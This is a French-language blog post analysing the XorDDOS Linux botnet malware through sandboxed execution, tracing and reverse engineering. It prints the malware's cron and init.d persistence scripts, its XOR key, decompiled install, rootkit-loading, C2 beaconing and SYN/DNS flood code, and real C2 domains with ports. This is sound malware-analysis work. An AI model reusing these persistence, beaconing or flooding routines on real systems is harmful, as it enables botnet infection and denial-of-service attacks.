Home Analyse du botnet Linux XorDDOS
Post
Cancel

Analyse du botnet Linux XorDDOS

Dans ce nouvel article j’analyse un malware sur Linux utilisé pour un botnet dédié au DDOS.

XorDDOS

Le botnet XorDDOS est un réseau de machines infectées par un logiciel malveillant.

Il a été créé pour lancer des attaques déni de service (DDOS), qui visent à rendre un site web, un service ou une infrastructure indisponible en submergeant le serveur cible avec un grand nombre de demandes simultanées.

Le nom “XorDDOS” vient de la fonction XOR (ou “ou exclusif”) utilisée dans le chiffrement du trafic réseau entre les différents nœuds du botnet, ainsi que pour les strings, ce qui le rend plus difficile à détecter et à arrêter.

Le botnet a été découvert pour la première fois en 2014 par des chercheurs en sécurité de Akamai, qui ont identifié les premières versions du logiciel malveillant.

Le binaire (qu’on appellera xorddos) est propagé via des attaques de bruteforce SSH ou Telnet, qui permettent aux attaquants de les infecter avec le logiciel malveillant et ainsi les contrôler à distance via un serveur de commandes de contrôle (C2).

Les samples

Pour cette analyse il y a un peu plus d’une cinquantaine de samples à notre disposition sur Malware Bazaar.

En utilisant l’API de Malware Bazaar il est possible de télécharger tous les samples pour faire une première passe dessus et voir lequel serait le plus intéressant pour une analyse plus en profondeur.

Le script Python ci-dessous permet de chercher et de télécharger tous malwares taggués “xorddos”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import requests

url = "https://mb-api.abuse.ch/api/v1/"
key = {"API-KEY": os.getenv("MB_API_KEY")}

samples = requests.post(
    url, headers=key, data={"query": "get_taginfo", "tag": "xorddos"}
).json()['data']

samples_cnt = len(samples)
cnt = 1
for sample in samples:
    hash_file = sample['sha256_hash']
    print(f"{cnt}/{samples_cnt} downloading sample {hash_file}")
    file = requests.post(
        url,
        headers=key,
        data={"query": "get_file", "sha256_hash": sample['sha256_hash']},
    ).content
    open(f"{hash_file}.zip", "wb").write(file)
    cnt += 1

Après avoir exécuté le script, Il faut décompresser tous les samples dans un répertoire cible que j’ai appelé samples.

1
2
3
4
5
6
7
8
9
10
λ /tmp » python3 run.py
1/56 downloading sample ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
2/56 downloading sample 5a7d7f1d53f039e7b69cf8d040cc043d1264b14107a8a73034e6b90d8e81f87a
3/56 downloading sample 34d70d58eae0338f35488d9a05ac5d703db7aa97699e9365d85e9a843d7c4979
4/56 downloading sample b84cf164fde12dd07192aa44f1b943044610539fd979e0f9359d44062f21a612
5/56 downloading sample 022e101f1d4671796972c9ae6eed81920a59003e751a0fd449b543f630ba36a8
6/56 downloading sample dc2279cbb01ed9d179c6914f1a72ac2c1f9218920d90904b02d1f7781c10736c
..
56/56 downloading sample fb18a78ab398c101ec335992020bdbf6ca35db5d74b6c708d126cf4d4ebf289d
λ /tmp » for i in *.zip; do 7z x -pinfected $i -osamples > /dev/null ; done

Avec la commande file, nous pouvons faire une première analyse des fichiers.

Sur les 56 récupérés, tous sont linkés statiquement et la majorité sont strippés (élagués en bon français), c’est à dire que les noms des symboles ainsi que les informations de debug ne sont pas présentes.

Néanmoins certains binaires ont toujours leurs symboles présents. Et un seul contient des informations de debug : f4a25e8d960c631699e1b9adab8d29e5e4a2ae0d3be1c7739275a6a72b9b0876.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, with debug_info, not stripped.

Ce sample date de janvier 2022, au moment où j’écris cet article, il y a un sample plus récent de disponible que je vais analyser en espérant que le C2 soit toujours accessible.

Execution

Avant tout, je lance ce malware pour voir ce qui se passe. Bien sûr, je l’exécute dans un environnement un minimum isolé comme expliqué dans un précédent article.

1
2
3
root@xorddos:/tmp# chmod +x xorddos.bin 
root@xorddos:/tmp# ./xorddos.bin 
root@xorddos:/tmp# 

Rien ne se passe… Mais on voit que des commandes sont lancées.

1
2
3
4
5
6
root         693  5.0  0.0  25596   664 ?        Ssl  19:22   0:02 gnome-terminal
root         881  0.0  0.0   1472  1040 ?        Ss   19:23   0:00 netstat -antop
root         884  0.0  0.0   1472  1040 ?        Ss   19:23   0:00 bash
root         887  0.0  0.0   1472  1040 ?        Ss   19:23   0:00 ps -ef
root         889  0.0  0.0   1472  1036 ?        Ss   19:23   0:00 grep "A"
root         890  0.0  0.0   1472  1040 ?        Ss   19:23   0:00 whoami

Après une restauration de snapshot on relance avec bpftrace pour tracer tous appels de la syscall execve qui est utilisée pour éxecuter des programmes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@xorddos:/tmp# bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%d ", tid); join(args->argv); }'
Attaching 1 probe...
5225 ./xorddos.bin
5235 sed -i /\/etc\/cron.hourly\/gcc.sh/d /etc/crontab
5242 systemctl daemon-reload
..
5772 /bin/sh -c /etc/cron.hourly/gcc.sh
5773 /etc/cron.hourly/gcc.sh
5777 awk -F: {print $1}
5776 grep :
5775 cat /proc/net/dev
5780 cp /lib/libudev.so /lib/libudev.so.6
5779 ifconfig ens33 up
5778 ifconfig lo up
5781 /lib/libudev.so.6

Première chose, on remarque qu’un fichier /etc/cron.hourly/gcc.sh est executé. C’est un script shell, qui sert à activer toutes les interfaces réseau et lancer /lib/libudev.so.6.

1
2
3
4
5
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

Le script correspond au binaire xorddos d’après son hash. Cela lui permet d’appuyer sa persistance même si le processus est tué, il se relancera toutes les heures.

En parallèle, j’ai aussi lancé un tcpdump sur ma VM routeur pour sniffer le trafic réseau de ma VM xorddos avec la commande suivante : tcpdump -i any host 192.168.123.2 and not port 22 -w xorddos.pcap.

whoops

Le malware tente de résoudre plusieurs domaines avant de télécharger sa config. Malheureusement, la configuration n’est plus disponible et la requête HTTP retourne une 404.

Analyse préliminaire.

Avant de partir sur l’analyse statique, faisons une analyse préliminaire afin de regrouper toutes les informations qu’on peut avoir sur le binaire en question. Cela pourrait nous permettre de gagner un peu de temps durant l’analyse statique.

Première étape, ouvrir le binaire dans Binary Ninja. La vue de triage permet d’avoir quelques informations sur le binaire.

whoops

On remarque ci-dessus que tous les symboles du fichier ELF sont présents ce qui va grandement faciliter l’analyse statique.

Binary Diffing

Par curiosité, j’ai différencié le sample le plus récent cible avec celui qui contient les informations de debug pour voir leur similarité.

whoops

Sans grande surprise ils sont très similaires, même si le plus récent a quand même une trentaine de fonctions supplémentaires.

whoops

Informations de debug

Comme vu plus haut, le sample contient des informations de debug. Cela va nous aider pour l’analyse statique car en plus des noms des fonctions, on peut récupérer les noms exactes des variables ainsi que les différents types.

Les informations de debug contiennent le chemin de compilation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~/RE/malwares/XorDDOS » readelf -wi xorddos.bin
Contents of the .debug_info section:
  Compilation Unit @ offset 0x0:
   Length:        0xbe2 (32-bit)
   Version:       2
   Abbrev Offset: 0x0
   Pointer Size:  4
 <0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
    <c>   DW_AT_stmt_list   : 0x0
    <10>   DW_AT_high_pc     : 0x80491be
    <14>   DW_AT_low_pc      : 0x8048228
    <18>   DW_AT_producer    : GNU C 4.1.2 20080704 (Red Hat 4.1.2-48)
    <40>   DW_AT_language    : 1	(ANSI C)
    <41>   DW_AT_name        : autorun.c
    <4b>   DW_AT_comp_dir    : /home/xingwei/Desktop/ddos #whoops

Ainsi que la liste des fichiers source compilés.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
λ ~/RE/malwares/XorDDOS » readelf -wi xorddos.bin | grep 'DW_AT_name.*\.c'
    <41>   DW_AT_name        : autorun.c
    <c27>  DW_AT_name        : crc32.c
    <fd9>  DW_AT_name        : encrypt.c
    <10f9> DW_AT_name        : execpacket.c
    <155c> DW_AT_name        : buildnet.c
    <2442> DW_AT_name        : hide.c
    <27fc> DW_AT_name        : http.c
    <2f2d> DW_AT_name        : kill.c
    <32b3> DW_AT_name        : main.c
    <3982> DW_AT_name        : proc.c
    <472e> DW_AT_name        : socket.c
    <539e> DW_AT_name        : tcp.c
    <5bc7> DW_AT_name        : thread.c
    <634a> DW_AT_name        : findip.c
    <6641> DW_AT_name        : dns.c

Étonnamment, Binary Ninja n’a détecté aucunes informations de debug dans ce fichier.

Dans ce cas, l’astuce c’est d’utiliser objcopy pour extraire les données de debug: objcopy --only-keep-debug xorddos.bin xorddos.debug, puis de les réimporter avec le plugin dwarf_import.

L’avantage c’est que les types sont automatiquement appliqués. Voici un exemple avant/après avoir importé les informations de debug dans Binary Ninja dans la fonction clear_task().

Il ne reste plus qu’à importer le types dans l’autre sample à l’aide de Binja et de sa fonctionnalité d’imports de types depuis un autre binaire.

Analyse statique

Sample : f4a25e8d960c631699e1b9adab8d29e5e4a2ae0d3be1c7739275a6a72b9b0876

Pour l’analyse statique, j’utilise toujours Binary Ninja. Commençons par le commencement avec la fonction main ci-dessous.

whoops Binary Ninja: fonction main

Plusieurs variables sont initialisées et remplies de zero avec memset, rien de fou.

Interception des signaux

La fonction signal (2) est appelée plusieurs fois. Le premier paramètre correspond à l’identifiant d’un signal, le second, 1 est juste la pour ignorer le signal reçu.

Mais du coup à quel signal cela correspond ? Et bien la réponse est dans le code source du noyau Linux, plus précisément dans le fichier arch/x86/include/uapi/asm/signal.h.

Ce fichier défini tous les identifiants de chaque signal pour l’architecture x86. C’est grâce à ce header qu’on sait que la valeur 0x16 (22) correspond à SIGTTOU.

Pour avoir une meilleure représentation des signaux utilisés, j’ai créé une enum que j’ai appliquée à chaque référence de la fonction signal.

whoops Binary Ninja: Vue des enums

Configuration

Passons à la configuration du malware qui se concentre sur ce bloc de code ci-dessous.

1
2
3
4
5
6
7
8
__setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin", 1);
get_self(&binary_path, 0x400);  // get path to the binary
dec_conf(&var_d55, "m ])", 8);
dec_conf(&var_f55, &data_80b0e3d, 0x13);
dec_conf(&var_1055, "m.[$nFR$7nLQQGF", 0x10);
dec_conf(&var_1155, "m.[$nFR$7n9", 0xc);
dec_conf(&var_1255, &data_80b0e6c, 0x23);
dec_conf(&var_e55, "m4S4nAC/nA", 0xb);

La première ligne consiste à modifier la variable d’environnement PATH. Ensuite avec la fonction get_self (qui est un wrapper pour la syscall readlink) le logiciel récupère son propre chemin absolu.

S’en suis la partie déchiffrement de la configuration. La fonction dec_conf appelle encrypt_code qui fait du chiffrement XOR avec comme clé BB2FA36AAA9541.

whoops Binary Ninja: vue pseudo C des fonctions dec_conf et encrypt_code

Binja embarque une fonctionnalité dans son API pour faire du déchiffrement XOR en 2 lignes. Prenons comme exemple le premier paramètre de la fonction dec_conf : m ])5.

1
2
3
4
>>> xor = Transform['XOR']
>>> output = xor.decode(b'm ])5', {'key': "BB2FA36AAA9541"})
>>> output.decode()
'/boot'

La version déchiffrée de m ])5 avec la clé BB2FA36AAA9541 retourne /boot. Ecrivons un snippet qui déchiffre les strings et les ajoute en commentaire de chaque appel de fonction :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_ascii_only(byte_obj):
    decoded_str = byte_obj.decode('ascii', errors='ignore')
    string = ""
    for char in decoded_str:
        if ord(char) < 128 and char != ".":
            string += char
        else:
            break
    return string

f = bv.get_functions_by_name("dec_conf")
refs = bv.get_code_refs(f[0].start)
xor = Transform['XOR']
for ref in refs:
    data = ref.hlil.params[1].value
    length = ref.hlil.params[2].value.value
    dec = xor.decode(bv.read(data.value, length), {'key': "BB2FA36AAA9541"})
    val = get_ascii_only(dec)
    bv.set_comment_at(ref.address, val)

En exécutant ce bout de code à l’aide de l’éditeur de snippets ou directement dans la console Python, le script déchiffre chaque premier paramètre de l’appel à la fonction dec_conf et ajout un commentaire en fin de ligne avec la valeur déchiffrée.

whoops

Il reste une dernière étape de déchiffrement de la configuration. Dans un boucle la fonction encrypt_code est appelée pour déchiffrer 20 octets de données à partir de l’adresse 0x80ccbe0 et cela 22 fois.

for (int32_t i = 0; i <= 22; i = (i + 1))
{
    encrypt_code(((i * 0x14) + 0x80ccbe0), 0x14);
}

Pour bien visualiser, c’est ce bloc de données ci-dessous qui est déchiffré par cette boucle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
00000000: 21 23 46 66 33 56 45 2e 2d 37 17 56 5b 5f 20 30  !#Ff3VE.-7.V[_ 0
00000010: 00 00 00 00 31 2a 32 00 00 00 00 00 00 00 00 00  ....1*2.........
00000020: 00 00 00 00 00 00 00 00 20 23 41 2e 41 00 00 00  ........ #A.A...
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 31 37 32 00  ............172.
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050: 32 31 12 6b 24 55 36 00 00 00 00 00 00 00 00 00  21.k$U6.........
00000060: 00 00 00 00 2e 31 32 00 00 00 00 00 00 00 00 00  .....12.........
00000070: 00 00 00 00 00 00 00 00 2e 31 12 6b 2d 52 36 00  .........1.k-R6.
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 36 2d 42 46  ............6-BF
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000a0: 2c 27 46 35 35 52 42 61 6c 20 57 35 00 00 00 00  ,'F55RBal W5....
000000b0: 00 00 00 00 2c 27 46 35 35 52 42 61 6c 20 57 41  ....,'F55RBal WA
000000c0: 5b 41 46 00 00 00 00 00 25 30 57 36 61 11 77 63  [AF.....%0W6a.wc
000000d0: 41 00 00 00 00 00 00 00 00 00 00 00 31 2e 57 23  A...........1.W#
000000e0: 31 13 07 41 00 00 00 00 00 00 00 00 00 00 00 00  1..A............
000000f0: 21 26 12 69 24 47 55 41 00 00 00 00 00 00 00 00  !&.i$GUA........
00000100: 00 00 00 00 27 21 5a 29 61 11 50 28 2f 25 1b 35  ....'!Z)a.P(/%.5
00000110: 00 00 00 00 00 00 00 00 2b 24 51 29 2f 55 5f 26  ........+$Q)/U_&
00000120: 61 24 4d 5d 04 31 00 00 00 00 00 00 2b 24 51 29  a$M].1......+$Q)
00000130: 2f 55 5f 26 41 00 00 00 00 00 00 00 00 00 00 00  /U_&A...........
00000140: 30 2d 47 32 24 13 1b 2f 41 00 00 00 00 00 00 00  0-G2$../A.......
00000150: 00 00 00 00 25 2c 5d 2b 24 1e 42 24 33 2c 50 5b  ....%,]+$.B$3,P[
00000160: 55 5d 46 00 00 00 00 00 2b 26 32 00 00 00 00 00  U]F.....+&2.....
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 35 2a 5d 46  ............5*]F
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000190: 35 2a 5d 27 2c 5a 36 00 00 00 00 00 00 00 00 00  5*]',Z6.........
000001a0: 00 00 00 00 32 35 56 46 00 00 00 00 00 00 00 00  ....25VF........
000001b0: 00 00 00 00 00 00 00 00 37 32 46 2f 2c 56 36 00  ........72F/,V6.
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Toujours via l’API de Binary Ninja, un script en Python permet de déchiffrer ces données à la volée :

1
2
3
4
5
xor = Transform['XOR']
for i in range(22):
    data = (bv.read((i*0x14) + 0x80ccbe0, 0x14))
    dec = xor.decode(data, {'key': "BB2FA36AAA9541"})
    print(dec.decode())

Le resultat est le suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -antop
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd

Installation

S’en suis la création des répertoires et l’installation du malware.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void* self_path_ret = get_self_path(&self_path);
int32_t cmp;
if (self_path_ret != 0)
{
    cmp = strcmp(&self_path, &default_runpath);
    if (cmp != 0)
    {
        CreateDir(&default_runpath); // /boot
        CreateDir(&back_path); // /lib/udev/udev
        CreateDir(&lockpath); // /var/run/
        randstr(&RandName);
        __snprintf(&NewName, 0x400, "%s%s", &default_runpath, &RandName);
        get_self(&self_file);
        remove(&back_file);
        copyfile(&self_file, &back_file);
        copyfile(&self_file, &NewName);
        LinuxExec(&NewName);
        __sleep(1);
        remove(&self_file);
    }
}

Un fois copié, il est à nouveau exécuté.

Pour la persistance, il faut s’intéresser en premier temps à la fonction InstallSYS(). Un point intéressant, celle-ci n’est pas enterrement décompilée. En remplaçant l’instruction jbe 0x8048cd5 par des NOP, on arrive a décompiler le reste de la fonction.

Après avoir épuré le code et modifié quelques prototypes de fonctions, voici le code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int32_t InstallSYS()
{
    void SysName;
    memset(&SysName, 0, 0x400);
    int32_t RandSysName = 0;
    char default_runpath[0x100];
    memset(&default_runpath, 0, 0x100);
    memmove(&default_runpath, "m ])", 7);  // /boot
    encrypt_code(&default_runpath);
    randstr(&RandSysName);
    __snprintf(&SysName, 0x400, "%s%s", &default_runpath, &RandSysName);
    if (writefile(&SysName, &SYS_BUF, 1) != 0)
    {
        LinuxExec_Argv("insmod", &SysName);
        __sleep(2);
        remove(&SysName);
    }
    return 0;
}

Cette fonction écrit sur disque dans /boot/{random_string} un module noyau et le lance avec la commande insmod. Malheureusement SYS_BUF est vide, donc pas de kernel module chargé.

Pour la persistence, dans la fonction suivante, AddService(), on a d’abord la création d’un script dans /etc/init.d :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
# chkconfig: 12345 90 90
# description: knwnntqyko
### BEGIN INIT INFO
# Provides:				knwnntqyko
# Required-Start:
# Required-Stop:
# Default-Start:		1 2 3 4 5
# Default-Stop:
# Short-Description:	knwnntqyko
### END INIT INFO
case $1 in
start)
		/usr/bin/knwnntqyko
		;;
stop)
		;;
*)
		knwnntqyko
		;;
esac

Ainsi que l’écriture d’un autre script très familier qu’on a vu plus haut :

1
"#!/bin/sh\nPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin\nfor i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done\ncp /lib/udev/udev /lib/udev/debug\n/lib/udev/debug\n"

Puis la fonction decrypt_remotestr s’occupe de déchiffrer et de parser la liste des C2s :

  • aaaaaaaaaa.re67das.com:5859
  • aa369369.f3322.org:2897
  • aa369369.f3322.org:2897

Kernel module

Un petit mot sur le kernel module. Bien qu’il ne soit pas chargé, ça reste intéressant d’en parler.

Le malware communique avec le kernel modules a l’aide d’IOCTLs via un fichier procfs dans /proc/rs_dev.

En se basant sur le nom des fonctions, il a la possibilité de cacher des fichiers, des ports ouverts ainsi que le blocage des flux sur la machine infectée.

tcp_thread

Pour tout ce qui est communication avec le C2 et déni de service, ça passe par un thread créé à la fin de la fonction main : tcp_thread.

Pour cette partie le code interagit principalement avec la structure Header :

1
2
3
4
5
6
7
8
9
10
struct Header
{
    uint32_t CRC;
    uint32_t Size;
    uint32_t Order;
    uint32_t Task_Num;
    uint32_t TimeOut;
    uint32_t BeginIP;
    uint32_t EndIP;
};

Le code commence par appeler la fonction bypass_iptables, qui, à l’aide du kernel module permettrait de communiquer avec l’adresse IP 114.114.114.114 qui est un résolveur DNS public chinois.

Ensuite, s’en suit l’initialisation de deux structures : Header et OnLineMsg. Les membres de la première structure sont initialisés à 0.

La seconde structure est initialisée avec les informations système de la machine. Puis chiffrée avec la fonction encrypt_code() qui chiffre et déchiffre avec la même clé XOR.

En premier lieu, la structure Header est envoyée, puis s’en suit OnLineMsg. De suite le malware s’attend à ce qu’une structure Header soit renvoyée par le C2 puis le CRC est vérifié.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct OnLineMsg OnLineMsg;
memset(&OnLineMsg, 0, sizeof(OnLineMsg);

struct utsname uts;
__uname(&uts);

memmove(&OnLineMsg.machine, &uts.machine, 0x41);
memmove(&OnLineMsg.release, &uts.release, 0x41);
memmove(&OnLineMsg.MAGIC_STR, 0x80cd920, 0x21);
memmove(&OnLineMsg.username, "xx", 3);
memmove(&OnLineMsg.version, "1.2.3", 6);

GetMemStat(&OnLineMsg);
GetCpuInfo(&OnLineMsg.cpuinfo);
OnLineMsg.laninfo = GetLanSpeed(htonl(self_ip));
OnLineMsg.sys = CheckLKM();

encrypt_code(&OnLineMsg, 0x110);

if (((safesend(sock_fd, &header, 0x1c) != 0 && 
	   safesend(sock_fd, &OnLineMsg, 0x110) != 0) && 
	   recv_t(sock_fd, &header, 0x1c, 2) == 0x1c) && 
	   header.CRC == CalcHeaderCrc(header.CRC)
) {
...
	exec_packet(sock_fd, header.CRC);
}

Ensuite, on rentre dans la fonction exec_packet. C’est dans cette fonction qu’en fonction de la valeur de Header.Order une action est effectuée. Ci-dessous un tableau avec les opérations d’exécution du malware :

Order IDfonctionDescription
2g_stop = 1sortie du thread threadwork
3threadworkdéni de service
6downloadfiletéléchargement d’un fichier
7updatefilemise à jour du malware

Pour finir, intéressons-nous à la fonction threadwork(), qui prend en paramètre la structure suivante :

1
2
3
4
5
6
7
8
9
struct thread_work
{
    uint32_t thread_id;
    struct task_data_list task_list;
    uint32_t array[65535];
    uint32_t TimeOut;
    uint32_t BeginIP;
    uint32_t EndIP;
};

C’est dans cette fonction que s’effectue le déni de service, en fonction du type d’attaque, définie par atk_type. Il peut y avoir du déni de service par SYN flood ou via amplification DNS.

1
2
3
4
5
6
7
8
9
10
11
if (p_task_data->atk_type != 4) {
    Buf = fix_syn(p_task_data->Buf, p_task_data->Buf_Size, ip, rand);
}
else {
    Buf = fix_dns(p_task_data->Buf, p_task_data->Buf_Size, ip, rand);
}
if (Buf != 0) {
    sin.sin_port = htons(p_task_data->dst_port);
    sin.sin_addr.s_addr = p_task_data->dst_ip;
    sendto(sock_fd, Buf, p_task_data->Buf_Size, 0, &sin, 0x10);
}

Le tout est ensuite envoyé au serveur cible via la syscall sendto et 65534 fois pour chaque IP (ou aléatoirement défini dans le range BeginIP-EndIP).

L’attaque a lieu pendant un certain laps de temps configuré par la variable TimeOut. Celle-ci peut être interrompue à tout moment si g_stop est égal à 1.


Pour conclure, on a un logiciel, plutôt facile à analyser. Mise à part le chiffrement XOR des strings, il n’y pas d’offuscation.

Une fois installé et grâce à la persistance, il est embêtant à supprimer définitivement. Et si le kernel module est installé, l’exécutable peut être “caché”. Pareil pour la liste des ports ouverts.

En lisant les premiers rapports qui datent de 2015, on voit que c’est un malware qui n’a pas énormément évolué au fil du temps.

J’espère que ce post vous a plu, n’hésitez pas à me contacter sur Twitter, Mastodon ou même par mail si vous avez des questions.


Liens et sources :

This post is licensed under CC BY 4.0 by the author.